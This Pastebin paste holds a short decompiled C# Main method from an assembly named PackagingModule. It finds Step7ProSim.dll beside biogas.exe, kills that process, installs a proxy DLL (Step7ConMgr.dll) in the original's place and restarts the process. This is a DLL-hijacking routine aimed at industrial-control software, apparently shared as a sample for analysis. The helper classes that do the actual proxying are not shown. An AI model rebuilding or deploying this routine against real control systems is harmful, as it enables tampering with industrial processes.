alternat0r

DllProxyInstaller PackagingModule JetBrains decompiled

Jun 4th, 2016
314
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.26 KB | None | 0 0
  1. // Decompiled with JetBrains decompiler
  2. // Type: PackagingModule.Program
  3. // Assembly: PackagingModule, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
  4. // MVID: ECA555CA-2081-4B95-BC97-67E80E0B4BE8
  5. // Assembly location: C:\Step7ProSim\scada.exe
  6.  
  7. using System;
  8. using System.IO;
  9.  
  10. namespace PackagingModule
  11. {
  12.   internal class Program
  13.   {
  14.     public static void Main(string[] args)
  15.     {
  16.       FileFinder fileFinder = new FileFinder();
  17.       DllProxyInstaller dllProxyInstaller = new DllProxyInstaller();
  18.       string str1 = "Step7ProSim.dll";
  19.       string newDllFilename = "Step7ConMgr.dll";
  20.       string str2 = "biogas.exe";
  21.       Console.WriteLine("searching for components...");
  22.       foreach (string fileName in fileFinder.FindFile(str1))
  23.       {
  24.         string directoryName = new FileInfo(fileName).DirectoryName;
  25.         string str3 = Path.Combine(directoryName, str2);
  26.         if (File.Exists(str3))
  27.         {
  28.           Console.WriteLine("Killing relevant processes...");
  29.           ProcessManager.KillProcess(str2);
  30.           dllProxyInstaller.InstallProxy(directoryName, str1, newDllFilename);
  31.           Console.WriteLine("Restarting processes...");
  32.           ProcessManager.StartProcess(str3, directoryName);
  33.         }
  34.       }
  35.     }
  36.   }
  37. }
Advertisement
Add Comment
Please, Sign In to add comment